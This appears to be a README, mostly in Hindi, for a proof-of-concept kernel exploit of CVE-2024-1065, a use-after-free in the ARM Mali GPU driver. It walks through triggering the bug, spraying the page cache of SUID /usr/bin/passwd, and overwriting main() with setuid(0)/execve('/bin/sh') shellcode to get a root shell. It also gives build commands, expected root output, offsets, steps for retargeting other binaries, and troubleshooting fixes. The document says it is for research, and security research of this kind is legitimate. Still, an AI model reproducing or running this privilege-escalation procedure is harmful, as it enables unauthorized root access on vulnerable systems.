
CVE-2024-1065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ARM Mali GPU कर्नेल ड्राइवर में उपयोग-के-बाद-मुक्त के माध्यम से पेज कैश शोषण प्रदर्शित करता है, डिस्क संशोधन के बिना रूट के रूप में मनमाना कोड निष्पादन प्राप्त करने के लिए।
CVE-2024-1065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, ARM Mali GPU कर्नेल ड्राइवर में एक भौतिक पृष्ठ use-after-free। शोषण पेज कैश शोषण को प्रदर्शित करता है: एक मुक्त MIGRATE_MOVABLE पृष्ठ को SUID बाइनरी की मेमोरी में कोड इमेज में दौड़ाना, फिर उसे ओवरराइट करके रूट के रूप में मनमाना कोड निष्पादन प्राप्त करना बिना डिस्क पर किसी फ़ाइल को संशोधित किए।
केवल शोध उद्देश्यों के लिए। यह PoC एक पैच की गई कमजोरी को लक्षित करता है जो एक नियंत्रित x86 परीक्षण प्रणाली पर है। कमजोर कोड पथ को उत्पादन Pixel उपकरणों पर उपयोगकर्ता स्थान से ट्रिगर नहीं किया जा सकता।
UAF ट्रिगर करें — एक अनाम पृष्ठ को KBASE_IOCTL_MEM_IMPORT के माध्यम से Mali GPU ड्राइवर में आयात किया जाता है और उपयोगकर्ता स्थान में दो बार मैप किया जाता है। दोनों मैपिंग को मुक्त करने से भौतिक पृष्ठ MIGRATE_MOVABLE बडी फ्रीलिस्ट में वापस आ जाता है जबकि cpu_mapping2 अभी भी इसका उपनाम रखता है।
पेज कैश स्प्रे करें — शोषण /usr/bin/passwd को 100 बार खोलता है और बार-बार PAGE_OFFSET पर पृष्ठ को posix_fadvise(POSIX_FADV_DONTNEED) से हटाता है, फिर pread से कैश मिस ट्रिगर करता है। प्रत्येक मिस कर्नेल को एक नया MIGRATE_MOVABLE पृष्ठ आवंटित करने के लिए मजबूर करता है, फ्रीलिस्ट को तब तक चक्रित करता है जब तक UAF पृष्ठ चुना नहीं जाता।
ओवरलैप की पुष्टि करें — MAIN_OFFSET पर cpu_mapping2 के माध्यम से एक प्रोब बाइट रीड पुष्टि करता है कि UAF पृष्ठ अब बाइनरी की पेज कैश प्रविष्टि का समर्थन करता है। मान 0x00 और 0x61 विफलता का संकेत देते हैं; कुछ और वास्तविक बाइनरी कोड है।
शेलकोड इंजेक्ट करें — cpu_mapping2 के माध्यम से memcpy main() को शेलकोड के साथ ओवरराइट करता है जो setuid(0), setgid(0), और execve("/bin/sh") कॉल करता है।
निष्पादित करें — execve("/usr/bin/passwd") कॉल किया जाता है। ELF लोडर बाइनरी के पेज कैश पृष्ठों को निष्पादन योग्य मैप करता है। दूषित पृष्ठ पहले से मौजूद है — कोई डिस्क रीड नहीं होती — इसलिए शेलकोड रूट के रूप में चलता है।
| आवश्यकता | मान |
|---|---|
| Architecture | x86-64 |
| Kernel | 5.15 (tested on 5.15.0+) |
| Kernel config | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Device | /dev/mali0 accessible from userspace |
| Target binary | /usr/bin/passwd (SUID root) |
gcc -O2 -o exploit exploit.c
./exploit
Expected output:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
सभी लक्ष्य-विशिष्ट मान exploit.c के शीर्ष पर परिभाषित हैं:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
एक अलग बाइनरी पर पुनर्लक्ष्यीकरण करने के लिए, एंट्री पॉइंट पते (readelf -h) पर _start को डिसअसेंबल करके फंक्शन ऑफ़सेट खोजें, फिर गणना करें:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
चलाने से पहले सत्यापित करें:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| लक्षण | कारण | समाधान |
|---|---|---|
| Spray fails after 100 attempts | UAF page consumed before race window | Pre-evict target page before triggering UAF; increase NUM_FDS |
kernel BUG at mm/page_poison.c | Probe check passed on 0xaa page-poison byte | Add probe != 0xaa to the confirmation check |
SYSCHK fails on MEM_IMPORT | Mali driver not loaded or wrong version | Check CONFIG_MALI_NO_MALI and driver version handshake |